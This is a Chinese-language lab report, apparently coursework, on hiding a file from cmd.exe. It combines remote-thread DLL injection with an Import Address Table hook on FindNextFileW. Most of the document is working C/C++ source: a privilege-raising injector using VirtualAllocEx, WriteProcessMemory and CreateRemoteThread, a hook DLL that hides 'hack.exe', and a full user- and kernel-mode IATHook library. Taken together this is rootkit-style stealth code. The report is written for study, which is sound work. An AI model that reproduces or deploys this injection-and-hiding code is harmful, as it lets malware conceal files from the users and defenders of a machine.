一 实验目的

  • 实现基于远程线程注入 + IAT Hook的文件隐藏功能

二 实验内容

  1. 分析explorer.exe和cmd.exe等可以查看文件目录的系统程序遍历文件的实现机制
  2. 通过IAT Hook的方法篡改它们的导入表，使这两个程序查看不到文件系统中指定名称的文件。

三 实验过程

1、主程序

（1）功能

  • 将自己编写的包含有攻击代码的dll文件注入到目标进程（本实验选择注入到“cmd.exe”）

（2）代码逻辑

  • 提升本进程权限——>获取目标进程的PID——>获得要注入进程的句柄——>在远程进程中开辟出一段内存——>将包含恶意代码的dll的名字写入上一步开辟出的内存中——>在被注入进程中创建新线程加载该dll——>卸载注入的dll

**

（3）实现细节

① 提升本进程权限

  • 目的：在操作系统进程时，需要提升自己编写的进程到系统权限，以免发生操作失败现象
  • 所用函数： ```c //获取当前进程句柄 GetCurrentProcess()

//获得进程访问令牌的句柄。第一参数是要修改访问权限的进程句柄；第二个参数指定要进行的操作类型（TOKEN_ADJUST_PRIVILEGES：修改令牌的访问权限，TOKEN_QUERY：查询令牌）；第三个参数是返回的访问令牌指针 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);：

//获取一个权限对应的LUID值（代表指定的特权名称），第一个参数是系统的名称（本地系统为NULL），第二个参数指明权限的名称（SE_DEBUG_NAME：Required to debug and adjust the memory of a process owned by another account.）；第三个参数返回LUID的指针 LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

//根据上一步获取的LUID值，为相应特权赋予新的特权属性（SE_PRIVILEGE_ENABLED：特权启用.）。 TOKEN_PRIVILEGES tkp; tkp.Privileges[0].Luid = luid; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

//对之前获得的访问令牌进行修改，使进程获得调试权。第一个参数是访问令牌的句柄；第二个参数为FALSE表示根据后一个参数进行权限修改；第三个参数指明要修改的权限，是一个指向TOKEN_PRIVILEGES结构的指针 AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL);

  2. <a name="lP3eZ"></a>
  3. #### ②获取目标进程的句柄（通过进程名或PID）
  5. - 目的：PID为进程唯一标识，获取后方便后面获取目标进程的句柄
  6. - 所用函数：getProcessHandle();
  8. <a name="yFHo3"></a>
  9. #### ③ 获得要注入进程的句柄
  11. - 目的：获得目标进程操作内存空间的权限(可用VirtualProtectEx和WriteProcessMemory)
  12. - 所用函数：
  14.  HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwpid);
  16. <a name="fe315348"></a>
  17. #### ④在远程进程中开辟出一段内存
  19. - 目的：开辟空间用来存放要调用的dll的路径
  20. - 所用函数：
  21. ```c
  22. //name + ’\0’
  23. DWORD dwSize = strlen(lpDllName) + 1;
  25. //在指定进程内开辟虚拟空间，第一个参数：申请内存所在的进程句柄；第二个参数：保留页面的内存地址；一般用NULL自动分配；第三个参数：欲分配的内存大小。MEM_COMMIT：为特定的页面区域分配物理存储；PAGE_READWRITE：区域可被应用程序读写
  26. LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

⑤将包含恶意代码的dll的名字写入上一步开辟出的内存中

  • 所用函数： ```c //写入内存，函数执行成功返回写入的字节数 WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize,(SIZE_T*)&dwHasWrite)；

//若写入失败，应释放之前分配的内存 VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);

  2. <a name="ohoge"></a>
  3. #### ⑥在被注入进程中创建新线程加载该dll
  5. - 目的：调用dll执行恶意代码
  6. - 所用函数：
  7. ```c
  8. DWORD dwNewThreadId;
  10. //使用LoadLibrary函数来加载动态链接库
  11. LPVOID lpLoadDll = LoadLibraryA;
  13. //创建远程线程，第一个参数为线程所属进程的进程句柄；第三个参数为线程初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小；第四个参数为在远程进程的地址空间中,该线程的线程函数的起始地址.
  14. HANDLE hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);

⑦卸载注入的dll

  • 思路：获得在远程线程中被注入的Dll的句柄 —> 卸载Dll
  • 所用函数：
    1. //获得在远程线程中被注入的Dll的句柄
    2. LPVOID pFunc = GetModuleHandleA; //获取DLL模块的路径
    3. HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpRemoteBuf, 0, &dwID);
    4. GetExitCodeThread(hThread, &dwHandle); //线程的结束码即为Dll模块儿的句柄，存入dwHandle中
    5. //将FreeLibraryA注入到远程线程中卸载Dll
    6. pFunc = FreeLibrary;
    7. hThread = CreateRemoteThread(hThread, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID);

2、IATHOOK程序（fakedll.dll中调用的攻击代码）

（1）功能

  • 程序中每个调用 API 函数的 CALL 指令所使用的地址都是相应函数登记在 IAT 表的地址，我们将目标进程（cmd.exe）中的FindNextFileW函数（遍历文件目录时使用，存储了文件名等信息）在IAT表中的地址替换为攻击者编写的虚假FindNextFileW函数地址，其中在读到指定文件时在cmd.exe界面上不会显示该文件文件名，起到文件隐藏的作用。程序中每个调用 API 函数的 CALL 指令所使用的地址都是相应函数登记在 IAT 表的地址。

（2）代码逻辑

image.png

（3）具体实现

① 编写假API函数

  • 思路：先调用原始findnextfile函数，根据返回的文件名确定是否是要隐藏的文件，若是则不显示此次调用的结果，直接再次调用findnextfile函数；若不是则将结果直接返回。
  • 实现代码：
    1. //遍历IAT表获得API函数真实地址
    2. pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
    3. //调用原始findnextfile函数
    4. bool  val = fnOrigin(hFindFile, lpFindFileData);
    5. //返回结果的文件名与待隐藏文件文件名比较，相同则跳过
    6. if (0 == wcscmp(File, (wchar_t*)lpFindFileData->cFileName))//调用之后进行判断是否为目标文件
    7. {return fnOrigin(hFindFile, lpFindFileData);}

②申请一块空白空间来放置假API函数

  • 实现代码：
    1. //分配指定大小内存空间
    2. pMemory = malloc(nNeedSize);
    3. //清零该内存空间
    4. RtlZeroMemory(pMemory, nNeedSize);

③将有关参数写入申请的内存中

  • 实现代码：
    1. pHookBlock->pImageBase = pImageBase;//写入dll文件的基地址
    2. pHookBlock->pszImportDllName = pszImportDllName;//写入加载的dll名称
    3. pHookBlock->pszRoutineName = pszRoutineName;//写入调用的API函数的名称
    4. pHookBlock->pFake = pFakeRoutine;//写入编写的假API函数

④获取目标进程导入表地址，遍历导入表获得findnextfile函数所在dll的位置

  • 实现代码：
    1. //dos头位于进程基地址
    2. pDosHeader = (IMAGE_DOS_HEADER*)pHookBlock->pImageBase;
    3. //通过dos头找到nt头
    4. pNTHeaders = (IMAGE_NT_HEADERS)((UCHAR)pHookBlock->pImageBase + pDosHeader->e_lfanew);
    5. //获取导入表实际地址
    6. pImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR)((UCHAR)pDosHeader + pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    7. for (; (pImportDescriptor->Name != 0); pImportDescriptor++)
    8. {
    9.   pszImportDllName = (char*)pHookBlock->pImageBase + pImportDescriptor->Name;
    10.   if (NULL != pHookBlock->pszImportDllName)
    11.   {
    12.       //比较是否是需要寻找的dll，找到地址后进行下一步操作
    13.       if (0 != _stricmp(pszImportDllName, pHookBlock->pszImportDllName))
    14.       {
    15.           continue;
    16.       }
    17.   }
    18. }

⑤ 找到指定dll的地址后，在IAT表中该dll下包含的API函数中寻找findnextfile加载后的实际地址

  • 实现代码：
    1. pOriginThunk = (IMAGE_THUNK_DATA)((UCHAR)pHookBlock->pImageBase + pImportDescriptor->OriginalFirstThunk);//指向INT表
    2. pRealThunk = (IMAGE_THUNK_DATA)((UCHAR)pHookBlock->pImageBase + pImportDescriptor->FirstThunk);//在PE文件装入内存之后，FirstThunk所指向的IMAGE_THUNK_DATA数组内容变更为导入函数的实际地址（IAT表）
    3. //循环测试，找到API函数实际地址后进行下一步操作
    4. for (; 0 != pOriginThunk->u1.Function; pOriginThunk++, pRealThunk++)//pOriginThunk->u1.Function：待扫描函数个数
    5. {
    6.   if ((USHORT)pHookBlock->pszRoutineName == LOWORD(pOriginThunk->u1.Ordinal))
    7.   {
    8.       pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
    9.       _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pFake);//进行下一步替换操作
    10.   }
    11. }

⑥ 更该区域保护属性，使我们对指定内存区域可操作，由此可将原始findnextfile函数的地址替换为假API函数的地址。

  • 实现代码：
    1. //修改内存属性，第一个参数为要改变属性的内存起始地址；第二个参数为要改变属性的内存区域大小；第三个参数为指定的新属性；第四个参数为原始属性保存位置
    2. bFlag = VirtualProtect(pAddress, sizeof(void*), PAGE_EXECUTE_READWRITE, &nOldProtect);
    3. pWriteableAddr = pAddress; //原始findnextfile函数地址
    4. //替换地址，pvalue假函数地址
    5. nOldValue = InterlockedExchangePointer((PVOID*)pWriteableAddr, pValue);    
    6. //重设内存属性，改为原始值
    7. VirtualProtect(pAddress, sizeof(void*), nOldProtect, &nOldProtect);
  1. #include"stdafx.h"
  2. #include <Windows.h>
  3. #include<iostream>
  4. #include<string>
  5. #include<tchar.h>
  6. using namespace std;
  7. #define WIN32_LEAN_AND_MEAN
  8. extern "C" __declspec(dllexport)
  10. LONG UnIATHook(__in HANDLE hHook);
  11. void* GetIATHookOrign(__in HANDLE hHook);
  12. typedef int(__stdcall *LPFN_FindNextFile)(_In_  HANDLE hFindFile, _Out_ LPWIN32_FIND_DATA lpFindFileData);
  13. LONG IATHook(
  14.     __in_opt void* pImageBase,
  15.     __in_opt char* pszImportDllName,
  16.     __in char* pszRoutineName,
  17.     __in void* pFakeRoutine,
  18.     __out HANDLE* phHook
  19. );
  21. HANDLE g_hHook_FindNextFile = NULL;
  22. //////////////////////////////////////////////////////////////////////////
  24. bool __stdcall Fake_FindNextFile(_In_  HANDLE hFindFile, _Out_ LPWIN32_FIND_DATA lpFindFileData)
  25. {
  27.     LPFN_FindNextFile fnOrigin = (LPFN_FindNextFile)GetIATHookOrign(g_hHook_FindNextFile);
  28.     wchar_t *File = L"hack.exe";
  29.     bool val = fnOrigin(hFindFile, lpFindFileData);
  30.     if (0 == wcscmp(File, (wchar_t*)lpFindFileData->cFileName))//调用之后进行判断是否为目标文件
  31.     {
  32.         return fnOrigin(hFindFile, lpFindFileData);//再调用一次原始的findnextfile
  33.     }
  34.     return val;
  35. }
  37. DWORD WINAPI IAT(LPVOID lpParam)
  38. {
  39.     IATHook(
  40.         GetModuleHandleW(NULL),
  41.         "api-ms-win-core-file-l1-2-1.dll",
  42.         "FindNextFileW",
  43.         Fake_FindNextFile,
  44.         &g_hHook_FindNextFile
  45.     );
  46.     return 0;
  47. }
  49. BOOL WINAPI DllMain(HANDLE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
  50. {
  51.     switch (dwReason)
  52.     {
  53.     case DLL_PROCESS_ATTACH:
  54.         CreateThread(NULL, NULL,IAT, NULL, NULL, NULL);
  55.         break;
  56.     case DLL_PROCESS_DETACH:
  57.         break;
  58.     case DLL_THREAD_ATTACH:
  59.         break;
  60.     case DLL_THREAD_DETACH:
  61.         break;
  62.     }
  64.     return TRUE;
  65. }
  1. // windows IATHook for kernelmode and usermode 
  2. // by TinySec( root@tinysec.net )
  3. // you can free use this code , but if you had modify , send a copy to to my email please.
  5. #include<iostream>
  6. using namespace std;
  7. #include"stdafx.h"
  9. LONG IATHook
  10. (
  11. __in void* pImageBase ,
  12. __in_opt char* pszImportDllName ,
  13. __in char* pszRoutineName ,
  14. __in void* pFakeRoutine ,
  15. __out HANDLE* Param_phHook
  16. );
  18. LONG UnIATHook( __in HANDLE hHook );
  20. void* GetIATHookOrign( __in HANDLE hHook );
  24. //////////////////////////////////////////////////////////////////////////
  26. #ifdef _RING0
  27. #include <ntddk.h>
  28. #include <ntimage.h>
  29. #else
  30. #include <windows.h>
  31. #include <stdlib.h>
  32. #endif //#ifdef _RING0
  35. //////////////////////////////////////////////////////////////////////////
  37. typedef struct _IATHOOK_BLOCK
  38. {
  39.     void*    pOrigin;
  40.     void*    pImageBase;
  41.     char*    pszImportDllName;
  42.     char*    pszRoutineName;
  43.     void*    pFake;
  45. }IATHOOK_BLOCK;
  48. //////////////////////////////////////////////////////////////////////////
  50. void* _IATHook_Alloc(__in ULONG nNeedSize)
  51. {
  52.     void* pMemory = NULL;
  54.     do
  55.     {
  56.         if (0 == nNeedSize)
  57.         {
  58.             break;
  59.         }
  61. #ifdef _RING0
  62.         pMemory = ExAllocatePoolWithTag(NonPagedPool, nNeedSize, 'iath');
  64. #else
  65.         pMemory = malloc(nNeedSize);
  66. #endif // #ifdef _RING0
  68.         if (NULL == pMemory)
  69.         {
  70.             break;
  71.         }
  73.         RtlZeroMemory(pMemory, nNeedSize);//清零一块内存空间
  75.     } while (FALSE);
  77.     return pMemory;
  78. }
  81. ULONG _IATHook_Free(__in void* pMemory)//释放进程
  82. {
  84.     do
  85.     {
  86.         if (NULL == pMemory)
  87.         {
  88.             break;
  89.         }
  91. #ifdef _RING0
  92.         ExFreePool(pMemory);
  94. #else
  95.         free(pMemory);
  96. #endif // #ifdef _RING0
  98.         pMemory = NULL;
  100.     } while (FALSE);
  102.     return 0;
  103. }
  105. //////////////////////////////////////////////////////////////////////////
  106. #ifdef _RING0
  109. #ifndef LOWORD
  110. #define LOWORD(l)           ((USHORT)((ULONG_PTR)(l) & 0xffff))
  111. #endif // #ifndef LOWORD
  114. void*  _IATHook_InterlockedExchangePointer(__in void* pAddress, __in void* pValue)
  115. {
  116.     void*    pWriteableAddr = NULL;
  117.     PMDL    pNewMDL = NULL;
  118.     void*    pOld = NULL;
  120.     do
  121.     {
  122.         if ((NULL == pAddress))
  123.         {
  124.             break;
  125.         }
  127.         if (!NT_SUCCESS(MmIsAddressValid(pAddress)))
  128.         {
  129.             break;
  130.         }
  132.         pNewMDL = IoAllocateMdl(pAddress, sizeof(void*), FALSE, FALSE, NULL);
  133.         if (pNewMDL == NULL)
  134.         {
  135.             break;
  136.         }
  138.         __try
  139.         {
  140.             MmProbeAndLockPages(pNewMDL, KernelMode, IoWriteAccess);
  142.             pNewMDL->MdlFlags |= MDL_MAPPING_CAN_FAIL;
  144.             pWriteableAddr = MmMapLockedPagesSpecifyCache(
  145.                 pNewMDL,
  146.                 KernelMode,
  147.                 MmNonCached,
  148.                 NULL,
  149.                 FALSE,
  150.                 HighPagePriority
  151.             );
  153.             //pWriteableAddr = MmMapLockedPages(pNewMDL, KernelMode);
  154.         }
  155.         __except (EXCEPTION_EXECUTE_HANDLER)
  156.         {
  157.             break;
  158.         }
  160.         if (pWriteableAddr == NULL)
  161.         {
  162.             MmUnlockPages(pNewMDL);
  163.             IoFreeMdl(pNewMDL);
  165.             break;
  166.         }
  168.         pOld = InterlockedExchangePointer(pWriteableAddr, pValue);
  170.         MmUnmapLockedPages(pWriteableAddr, pNewMDL);
  171.         MmUnlockPages(pNewMDL);
  172.         IoFreeMdl(pNewMDL);
  174.     } while (FALSE);
  176.     return pOld;
  177. }
  180. //////////////////////////////////////////////////////////////////////////
  181. #else
  183. void*  _IATHook_InterlockedExchangePointer(__in void* pAddress, __in void* pValue)
  184. {
  185.     void*    pWriteableAddr = NULL;
  186.     void*    nOldValue = NULL;
  187.     ULONG    nOldProtect = 0;
  188.     BOOL    bFlag = FALSE;
  190.     do
  191.     {
  192.         if ((NULL == pAddress))
  193.         {
  194.             break;
  195.         }
  197.         bFlag = VirtualProtect(pAddress, sizeof(void*), PAGE_EXECUTE_READWRITE, &nOldProtect);
  198.         if (!bFlag)
  199.         {
  200.             break;
  201.         }
  202.         pWriteableAddr = pAddress;
  204.         nOldValue = InterlockedExchangePointer((PVOID*)pWriteableAddr, pValue);//替换地址,用一个32位值替换另一个32位值
  206.         VirtualProtect(pAddress, sizeof(void*), nOldProtect, &nOldProtect);
  208.     } while (FALSE);
  210.     return nOldValue;
  211. }
  213. #endif // #ifdef _RING0
  216. LONG _IATHook_Single
  217. (
  218.     __in IATHOOK_BLOCK*    pHookBlock,//fake
  219.     __in IMAGE_IMPORT_DESCRIPTOR*    pImportDescriptor,//address
  220.     __in BOOLEAN bHook
  221. )
  222. {
  224.     LONG                nFinalRet = -1;
  225.     IMAGE_THUNK_DATA*    pOriginThunk = NULL;
  226.     IMAGE_THUNK_DATA*    pRealThunk = NULL;
  227.     IMAGE_IMPORT_BY_NAME*    pImportByName = NULL;
  229.     do
  230.     {
  231.         //查找函数位置
  232.         pOriginThunk = (IMAGE_THUNK_DATA*)((UCHAR*)pHookBlock->pImageBase + pImportDescriptor->OriginalFirstThunk);//指向IAT表,存储API函数名称
  233.         pRealThunk = (IMAGE_THUNK_DATA*)((UCHAR*)pHookBlock->pImageBase + pImportDescriptor->FirstThunk);//在PE文件装入内存之后，FirstThunk所指向的IMAGE_THUNK_DATA数组内容变更为导入函数的实际地址(VA)
  235.         for (; 0 != pOriginThunk->u1.Function; pOriginThunk++, pRealThunk++)//pOriginThunk->u1.Function：待扫描函数个数
  236.         {
  237.             if (IMAGE_ORDINAL_FLAG == (pOriginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG))//序号or函数名引入
  238.             {
  239.                 if ((USHORT)pHookBlock->pszRoutineName == LOWORD(pOriginThunk->u1.Ordinal))
  240.                 {
  241.                     if (bHook)//IAT hook
  242.                     {
  243.                         pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
  244.                         _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pFake);//替换
  245.                     }
  246.                     else//UNIAT hook
  247.                     {
  248.                         _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pOrigin);
  249.                     }
  251.                     nFinalRet = 0;
  252.                     break;
  253.                 }
  254.             }
  255.             else
  256.             {
  257.                 pImportByName = (IMAGE_IMPORT_BY_NAME*)((char*)pHookBlock->pImageBase + pOriginThunk->u1.AddressOfData);
  259.                 if (0 == _stricmp(pImportByName->Name, pHookBlock->pszRoutineName))
  260.                 {
  261.                     if (bHook)
  262.                     {
  263.                         pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
  264.                         _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pFake);
  265.                     }
  266.                     else
  267.                     {
  268.                         _IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pOrigin);
  269.                     }
  271.                     nFinalRet = 0;
  273.                     break;
  274.                 }
  275.             }
  277.         }
  279.     } while (FALSE);
  281.     return nFinalRet;
  282. }
  285. LONG _IATHook_Internal(__in IATHOOK_BLOCK* pHookBlock, __in BOOLEAN bHook)
  286. {
  287.     LONG                nFinalRet = -1;
  288.     LONG                nRet = -1;
  289.     IMAGE_DOS_HEADER*    pDosHeader = NULL;//DOS头
  290.     IMAGE_NT_HEADERS*    pNTHeaders = NULL;//NT头
  292.     IMAGE_IMPORT_DESCRIPTOR*    pImportDescriptor = NULL;
  293.     char*                        pszImportDllName = NULL;
  296.     do
  297.     {
  298.         if (NULL == pHookBlock)
  299.         {
  300.             break;
  301.         }
  303.         pDosHeader = (IMAGE_DOS_HEADER*)pHookBlock->pImageBase;//程序基地址
  304.         if (IMAGE_DOS_SIGNATURE != pDosHeader->e_magic)
  305.         {
  306.             break;
  307.         }
  309.         pNTHeaders = (IMAGE_NT_HEADERS*)((UCHAR*)pHookBlock->pImageBase + pDosHeader->e_lfanew);//PE文件的头指针 = ImageBase + DosHeader->e_lfnew
  310.         if (IMAGE_NT_SIGNATURE != pNTHeaders->Signature)
  311.         {
  312.             break;
  313.         }
  315.         //存在导入表
  316.         if (0 == pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)//导入表起始RVA(当PE文件被装载到内存中后，某个数据的位置相对于文件头的偏移量)地址
  317.         {
  318.             break;
  319.         }
  321.         if (0 == pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)
  322.         {
  323.             break;
  324.         }
  326.         pImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR*)((UCHAR*)pDosHeader + pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);//实际地址
  329.                                                                                                                                                                                // Find pszRoutineName in every Import descriptor
  330.         nFinalRet = -1;
  332.         for (; (pImportDescriptor->Name != 0); pImportDescriptor++)//
  333.         {
  334.             pszImportDllName = (char*)pHookBlock->pImageBase + pImportDescriptor->Name;
  336.             if (NULL != pHookBlock->pszImportDllName)
  337.             {
  338.                 if (0 != _stricmp(pszImportDllName, pHookBlock->pszImportDllName))
  339.                 {
  340.                     continue;
  341.                 }
  342.             }
  344.             nRet = _IATHook_Single(//找到了程序中的dll位置，进行替换
  345.                 pHookBlock,
  346.                 pImportDescriptor,
  347.                 bHook
  348.             );
  350.             if (0 == nRet)
  351.             {
  352.                 nFinalRet = 0;
  353.                 break;
  354.             }
  355.         }
  357.     } while (FALSE);
  359.     return nFinalRet;
  360. }
  362. LONG IATHook
  363. (
  364.     __in void* pImageBase,
  365.     __in_opt char* pszImportDllName,
  366.     __in char* pszRoutineName,
  367.     __in void* pFakeRoutine,
  368.     __out HANDLE* Param_phHook
  369. )
  370. {
  371.     LONG                nFinalRet = -1;
  372.     IATHOOK_BLOCK*        pHookBlock = NULL;
  374.     do
  375.     {
  376.         if ((NULL == pImageBase) || (NULL == pszRoutineName) || (NULL == pFakeRoutine))
  377.         {
  378.             break;
  379.         }
  381.         pHookBlock = (IATHOOK_BLOCK*)_IATHook_Alloc(sizeof(IATHOOK_BLOCK));//分配一块空白内存
  382.         if (NULL == pHookBlock)
  383.         {
  384.             break;
  385.         }
  386.         RtlZeroMemory(pHookBlock, sizeof(IATHOOK_BLOCK));
  388.         pHookBlock->pImageBase = pImageBase;//dll文件的基地址
  389.         pHookBlock->pszImportDllName = pszImportDllName;//加载的dll名称
  390.         pHookBlock->pszRoutineName = pszRoutineName;//调用的API函数的名称
  391.         pHookBlock->pFake = pFakeRoutine;//自建
  393.         __try
  394.         {
  395.             nFinalRet = _IATHook_Internal(pHookBlock, TRUE);
  396.         }
  397.         __except (EXCEPTION_EXECUTE_HANDLER)
  398.         {
  399.             nFinalRet = -1;
  400.         }
  402.     } while (FALSE);
  404.     if (0 != nFinalRet)
  405.     {
  406.         if (NULL != pHookBlock)
  407.         {
  408.             _IATHook_Free(pHookBlock);
  409.             pHookBlock = NULL;
  410.         }
  411.     }
  413.     if (NULL != Param_phHook)
  414.     {
  415.         *Param_phHook = pHookBlock;
  416.     }
  418.     return nFinalRet;
  419. }
  421. LONG UnIATHook(__in HANDLE hHook)
  422. {
  423.     IATHOOK_BLOCK*        pHookBlock = (IATHOOK_BLOCK*)hHook;
  424.     LONG                nFinalRet = -1;
  426.     do
  427.     {
  428.         if (NULL == pHookBlock)
  429.         {
  430.             break;
  431.         }
  433.         __try
  434.         {
  435.             nFinalRet = _IATHook_Internal(pHookBlock, FALSE);
  436.         }
  437.         __except (EXCEPTION_EXECUTE_HANDLER)
  438.         {
  439.             nFinalRet = -1;
  440.         }
  442.     } while (FALSE);
  444.     if (NULL != pHookBlock)
  445.     {
  446.         _IATHook_Free(pHookBlock);
  447.         pHookBlock = NULL;
  448.     }
  450.     return nFinalRet;
  451. }
  453. void* GetIATHookOrign(__in HANDLE hHook)
  454. {
  455.     IATHOOK_BLOCK*        pHookBlock = (IATHOOK_BLOCK*)hHook;
  456.     void*                pOrigin = NULL;
  458.     do
  459.     {
  460.         if (NULL == pHookBlock)
  461.         {
  462.             break;
  463.         }
  465.         pOrigin = pHookBlock->pOrigin;
  467.     } while (FALSE);
  469.     return pOrigin;
  470. }